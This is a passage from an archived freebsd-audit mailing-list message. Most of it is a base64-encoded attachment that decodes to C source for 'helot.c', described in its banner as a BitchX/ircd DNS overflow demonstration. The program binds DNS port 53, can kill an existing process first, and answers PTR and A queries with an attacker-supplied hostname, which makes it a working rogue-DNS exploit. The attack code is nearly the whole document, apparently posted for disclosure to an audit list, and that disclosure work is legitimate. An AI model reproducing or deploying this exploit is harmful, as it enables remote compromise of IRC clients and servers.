ICAgICAgICAgICAgICAgICAgIFBVVFNIT1JUKFRfTlVMTCwgYW5zd2VyUlIpOwogICAgICAg
ICAgICAgICAgICAgICAgICBQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7CiAgICAgICAgICAg
ICAgICAgICAgICAgIFBVVExPTkcodHRsLCBhbnN3ZXJSUik7CiAgICAgICAgICAgICAgICAg
ICAgICAgIFBVVFNIT1JUKDAsIGFuc3dlclJSKTsKCgkJCWFoZHItPmFuY291bnQgPSBodG9u
cygyKTsKICAgICAgICAgICAgICAgICAgICAgICAgYWhkci0+bnNjb3VudCA9IGh0b25zKDAp
OwogICAgICAgICAgICAgICAgICAgICAgICBhaGRyLT5hcmNvdW50ID0gaHRvbnMoMCk7CiAg
ICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKCQlkZWZhdWx0OgoJCQlmcHJpbnRmKHN0
ZGVyciwgIlxudHlwZSAlZCBxdWVyeSBub3Qgc3VwcG9ydGVkXG4iLAoJCQkJcXR5cGUpOwoJ
CQlyZXR1cm4oMCk7Cgl9CgoJcmV0dXJuKGFuc3dlclJSIC0gKGNoYXIgKilhaGRyKTsKfQoK
LyoKICogU29ja2V0QmluZCgpCiAqCiAqIGRlc2M6IGdldCdzIGEgdWRwIHNvY2tldCBhbmQg
YmluZHMgaXQgdG8gZG5zIHBvcnQgNTMgYW5kIGFuIElQIGFkZHJlc3MKICogaW5wdXQ6IHBp
ZCB0byBraWxsIGJlZm9yZSBiaW5kLCBzdHJ1Y3Qgc29ja2FkZHIgaW5pdGlhbGl6ZSwgSVAg
YWRkcmVzcwogKiBvdXRwdXQ6IHNvY2tldCBkZXNjcmlwdG9yLCBvciAtMSBvbiBlcnJvcgog
Ki8KaW50IFNvY2tldEJpbmQodV9zaG9ydCBwaWQsIHN0cnVjdCBzb2NrYWRkcl9pbiAqc2Es
IHVfbG9uZyBsaXN0ZW5faXApCnsKCWludCBzZCwgc29ja29wdCwgc29ja29wdGxlbjsKCglp
Zigoc2QgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19ER1JBTSwgMCkpIDwgMCkKCXsKCQlwZXJy
b3IoImNhbid0IGdldCBhIHVkcCBzb2NrZXQiKTsKCQlyZXR1cm4oc2QpOwoJfQoKCQoJaWYo
cGlkKQoJewoJCWZwcmludGYoc3RkZXJyLCAia2lsbGluZyBwaWQgJXUuLi4iLCBwaWQpOwoJ
CWlmKGtpbGwocGlkLCBTSUdLSUxMKSA8IDApCgkJewoJCQlwZXJyb3IoImNhbid0IGtpbGwg
cHJvY2VzcyIpOwoJCQlyZXR1cm4oLTEpOwoJCX0KCQlmcHJpbnRmKHN0ZGVyciwgImtpbGxl
ZC5cbiIpOwoJfQoKCXNhLT5zaW5fZmFtaWx5ID0gQUZfSU5FVDsKCXNhLT5zaW5fcG9ydCA9
IGh0b25zKEROU19QT1JUKTsKCXNhLT5zaW5fYWRkci5zX2FkZHIgPSBsaXN0ZW5faXA7Cglz
b2Nrb3B0ID0gMTsgc29ja29wdGxlbiA9IDQ7CglzZXRzb2Nrb3B0KHNkLCBTT0xfU09DS0VU
LCBTT19SRVVTRUFERFIsIChjaGFyICopJnNvY2tvcHQsIHNvY2tvcHRsZW4pOwoKCWlmKGJp
bmQoc2QsIChzdHJ1Y3Qgc29ja2FkZHIgKilzYSwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikp
IDwgMCkKCXsKCQlwZXJyb3IoImNhbid0IGJpbmQgZG5zIHBvcnQgNTMiKTsKCQlyZXR1cm4o
LTEpOwoJfQoKCWZwcmludGYoc3RkZXJyLCAibGlzdGVuaW5nIG9uICVzLi4uXG4iLCBpbmV0
X250b2Eoc2EtPnNpbl9hZGRyKSk7CglyZXR1cm4oc2QpOwp9CgovKgogKiBTZW5kUGt0KCkK
ICoKICogZGVzYzogc2VuZCBkbnMgYW5zd2VyIHBhY2tldCBpbnRvIHRoZSBncmVhdCB1bmtu
b3duCiAqIGlucHV0OiBzb2NrZXQsIHJlY2VpdmVkIHBhY2tldCwgYW5zd2VyIHN0cmluZywg
YWRkaXRpb25hbCBhbnN3ZXIsIHR0bCwKICoJc3RydWN0IHNvY2thZGRyIGZyb20sIGZyb20g
bGVuZ3RoCiAqIG91dHB1dDogcmV0dXJucyAjIGJ5dGVzIHNlbnQsIDwgMCBvbiBlcnJvcgog
Ki8KaW50IFNlbmRQa3QoaW50IHNkLCBjaGFyICpyYnVmLCBjaGFyICphbnN3ZXIsIGNoYXIg
KmFkZGl0aW9uYWwsIHVfbG9uZyB0dGwsCglzdHJ1Y3Qgc29ja2FkZHJfaW4gKnRvLCBpbnQg
dG9sZW4pCnsKCWNoYXIgc2J1ZltQQUNLRVRTWl07CglpbnQgc2xlbiwgc2VudDsKCglzbGVu
ID0gTWFrZUROU1BrdChyYnVmLCBzYnVmLCBQQUNLRVRTWiwgYW5zd2VyLCBhZGRpdGlvbmFs
LCB0dGwpOwoJaWYoIXNsZW4pCgl7CgkJZnByaW50ZihzdGRlcnIsICJlcnJvciBidWlsZGlu
ZyBhbnN3ZXIgcGFja2V0XG4iKTsKCQlyZXR1cm4oLTEpOwoJfQoJaWYoKHNlbnQgPSBzZW5k
dG8oc2QsIHNidWYsIHNsZW4sIDAsIChzdHJ1Y3Qgc29ja2FkZHIgKil0bywgdG9sZW4pKSA8
IDApCgl7CgkJcGVycm9yKCJzZW5kaW5nIGFuc3dlciBwYWNrZXQiKTsKCQlyZXR1cm4oc2Vu
dCk7Cgl9CglyZXR1cm4oc2VudCk7Cn0KCQovKgogKiBtYWluKCkKICovCmludCBtYWluKGlu
dCBhcmdjLCBjaGFyICphcmd2W10pCnsKCWludCBzZCwgb3B0LCBybGVuLCBmcm9tbGVuLCBz
ZW50LCBxdHlwZTsKCXVfc2hvcnQga2lsbHBpZCA9IDA7Cgl1X2xvbmcgdHRsID0gKDE1ICog
NjApLCBpcCwgYmluZF9pcCA9IDA7CgljaGFyIHJidWZbUEFDS0VUU1pdOwoJY2hhciAqcW5h
bWUgPSBOVUxMLCAgKmluYWRkcnN0ciA9IE5VTEwsICpob3N0bmFtZSA9IE5VTEw7CglzdHJ1
Y3Qgc29ja2FkZHJfaW4gbmFtZWQsIGZyb207CglmZF9zZXQgZG5zOwoKCWZwcmludGYoc3Rk
ZXJyLCJcCmhlbG90LmMgLSBiaXRjaHgvaXJjZCBETlMgb3ZlcmZsb3cgZGVtb25zdHJhdGlv
bgoxMi4wNC4yMDAwIG5pbXJvb2QgKG5pbXJvb2RAb25lYm94LmNvbSkKdzAwdzAwIFNlY3Vy
aXR5IERldmVsb3BtZW50IChXU0QpXG5cbiIpOwoKCXdoaWxlKChvcHQgPSBnZXRvcHQoYXJn
YywgYXJndiwgIms6dDpiOiIpKSAhPSAtMSkKCXsKCQlzd2l0Y2gob3B0KQoJCXsKCQkJY2Fz
ZSAnayc6CgkJCQlraWxscGlkID0gYXRvaShvcHRhcmcpOwoJCQkJYnJlYWs7CgkJCWNhc2Ug
J3QnOgoJCQkJdHRsID0gc3RydG91bChvcHRhcmcsIE5VTEwsIDApOwoJCQkJYnJlYWs7CgkJ
CWNhc2UgJ2InOgoJCQkJaWYoKGJpbmRfaXAgPSBpbmV0X2FkZHIob3B0YXJnKSkgPT0gLTEp
CgkJCQl7CgkJCQkJZnByaW50ZihzdGRlcnIsIAoJCQkJCSIlcyBpcyBub3QgYW4gaXAgYWRk
cmVzcyFcbiIsIG9wdGFyZyk7CgkJCQkJZXhpdCgtMSk7CgkJCQl9CgkJCQlicmVhazsKCQkJ
Y2FzZSAnPyc6CgkJCQlVc2FnZShhcmd2WzBdKTsKCQkJCS8qIE5PVCBSRUFDSEVEICovCgkJ
CWRlZmF1bHQ6CgkJCQlmcHJpbnRmKHN0ZGVyciwgImdldG9wdCgpIGVycm9yIGRvaCFcbiIp
OwoJCQkJZXhpdCgtMSk7CgkJfQoJfQoKCS8qIGdldCBpcCBhZGRyZXNzIGFuZCBob3N0bmFt
ZSB0byB1c2UgZm9yIGFuc3dlcnMgKi8KCWlmKChhcmdjIC0gb3B0aW5kKSAhPSAyKQoJCVVz
YWdlKGFyZ3ZbMF0pOwoKCWlmKChpcCA9IGluZXRfYWRkcihhcmd2W29wdGluZF0pKSA9PSAt
MSkKCXsKCQlmcHJpbnRmKHN0ZGVyciwgIiVzIG5vdCBhbiBpcCBhZGRyZXNzIVxuIiwgYXJn
dltvcHRpbmRdKTsKCQlleGl0KC0xKTsKCX0KCQogICAgICAgIC8qIGdldCBhIHNvY2tldCBh
bmQgYmluZCBpdCB0byB0aGUgZG5zIHBvcnQgNTMgKi8KICAgICAgICBpZigoc2QgPSBTb2Nr
ZXRCaW5kKGtpbGxwaWQsICZuYW1lZCwgYmluZF9pcCkpIDwgMCkKICAgICAgICB7CiAgICAg
ICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgImVycm9yIHNldHRpbmcgdXAgbmV0d29yayFc
biIpOwogICAgICAgICAgICAgICAgZ290byBleGl0X2hlbG90OwogICAgICAgIH0KCglpZigo
aG9zdG5hbWUgPSBtYWxsb2Moc3RybGVuKGFyZ3ZbKytvcHRpbmRdKSArIDIpKSA9PSBOVUxM
KQoJewoJCWZwcmludGYoc3RkZXJyLCAiY2FuJ3QgZ2V0IG1lbW9yeSBmb3IgaG9zdG5hbWUh
XG4iKTsKCQlnb3RvIGV4aXRfaGVsb3Q7Cgl9CglzdHJjcHkoaG9zdG5hbWUsIGFyZ3Zbb3B0
aW5kXSk7CglpZigqKGhvc3RuYW1lICsgc3RybGVuKGhvc3RuYW1lKSkgIT0gJy4nKQoJCXN0
cmNhdChob3N0bmFtZSwgIi4iKTsKCglpZigoaW5hZGRyc3RyID0gaXAySW5BZGRyU3RyKGlw
KSkgPT0gTlVMTCkKCXsKCQlmcHJpbnRmKHN0ZGVyciwgImNhbid0IGdldCBtZW1vcnkgZm9y
IGluLWFkZHIgc3RyaW5nIVxuIik7CgkJZ290byBleGl0X2hlbG90OwoJfQoKCS8qIGNhdGNo
IGN0cmwtYyBzbyBpIGNhbiBmcmVlIHVzZWQgbWVtb3J5ICovCglzaWduYWwoU0lHSU5ULCBD
YXRjaFNpZ0ludCk7CgoJd2hpbGUoMSkKCXsKCQlGRF9aRVJPKCZkbnMpOwoJCUZEX1NFVChz
ZCwgJmRucyk7CgkJaWYoc2VsZWN0KChzZCArIDEpLCAmZG5zLCBOVUxMLCBOVUxMLCBOVUxM
KSA8IDApCgkJewoJCQlwZXJyb3IoImVycm9yIG9uIGxpc3RlbmluZyBzb2NrZXQiKTsKCQkJ
YnJlYWs7CgkJfQoKCQlpZihGRF9JU1NFVChzZCwgJmRucykpCgkJewoJCQlmcm9tbGVuID0g
c2l6ZW9mKGZyb20pOwoJCQlpZigocmxlbiA9IHJlY3Zmcm9tKHNkLCByYnVmLCBQQUNLRVRT
WiwgMCwgCgkJCQkoc3RydWN0IHNvY2thZGRyICopJmZyb20sICZmcm9tbGVuKSkgPCAwKQoJ
CQl7CgkJCQlwZXJyb3IoImVycm9yIHJlYWRpbmcgZnJvbSBzb2NrZXQiKTsKCQkJCWJyZWFr
OwoJCQl9CgoJCQlpZighcmxlbikKCQkJewoJCQkJZnByaW50ZihzdGRlcnIsICJmcm9tICVz
LCBlbXB0eSBwYWNrZXRcbiIsCgkJCQkJaW5ldF9udG9hKGZyb20uc2luX2FkZHIpKTsKCQkJ
CWNvbnRpbnVlOwoJCQl9CgoJCQlpZigocW5hbWUgPSBQcm9jRE5TUGt0KHJidWYsIHJsZW4s
ICZxdHlwZSkpID09IE5VTEwpCgkJCXsKCQkJCWZwcmludGYoc3RkZXJyLCAiZnJvbSAlcywg
bm8gcXVlcnlcbiIsCgkJCQkJaW5ldF9udG9hKGZyb20uc2luX2FkZHIpKTsKCQkJCWNvbnRp
bnVlOwoJCQl9CgkJCQoJCQlmcHJpbnRmKHN0ZGVyciwgImZyb20gJXMsICVzLyVzLCBxdWVy
eSIsIGluZXRfbnRvYShmcm9tLnNpbl9hZGRyKSwKCQkJCXFuYW1lLCBRVHlwZTJTdHIocXR5
cGUpKTsKCgkJCWlmKHN0cmNhc2VjbXAocW5hbWUsIGluYWRkcnN0cikgPT0gMCAmJiBxdHlw
ZSA9PSBUX1BUUikKCQkJewoJCQkJc2VudCA9IFNlbmRQa3Qoc2QsIHJidWYsIGhvc3RuYW1l
LCAoY2hhciAqKSZpcCwKCQkJCQl0dGwsICZmcm9tLCBmcm9tbGVuKTsKCQkJCWlmKHNlbnQg
PD0gMCkKCQkJCXsKCQkJCQlmcHJpbnRmKHN0ZGVyciwgIm5vIGFuc3dlciBzZW50ISFcbiIp
OwoJCQkJCWJyZWFrOwoJCQkJfQoKCQkJCWZwcmludGYoc3RkZXJyLCAiIGFuc3dlcmVkLlxu
Iik7CgkJCQljb250aW51ZTsKCQkJfQoKCQkJaWYoc3RyY2FzZWNtcChxbmFtZSwgaG9zdG5h
bWUpID09IDAgJiYgcXR5cGUgPT0gVF9BKQoJCQl7CgkJCQlzZW50ID0gU2VuZFBrdChzZCwg
cmJ1ZiwgaG9zdG5hbWUsIChjaGFyICopJmlwLCAKCQkJCQl0dGwsICZmcm9tLCBmcm9tbGVu
KTsKCQkJCWlmKHNlbnQgPD0gMCkKCQkJCXsKCQkJCQlmcHJpbnRmKHN0ZGVyciwgIm5vIGFu
c3dlciBzZW50ISFcbiIpOwoJCQkJCWJyZWFrOwoJCQkJfQoKCQkJCWZwcmludGYoc3RkZXJy
LCAiIGFuc3dlcmVkXG4iKTsKCQkJfQoJCX0KCQlmcHJpbnRmKHN0ZGVyciwiXG4iKTsKCX0K
CmV4aXRfaGVsb3Q6CglmcHJpbnRmKHN0ZGVyciwgIlxuY2xlYW5pbmcgdXAuLi5cbiIpOwoJ
ZnJlZShxbmFtZSk7IGZyZWUoaG9zdG5hbWUpOyBmcmVlKGluYWRkcnN0cik7IGNsb3NlKHNk
KTsKCWV4aXQoLTEpOwp9Cg==

--1BoxPartBoundary97620769315457976207693--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-audit" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.21.0012080032150.22989-101000>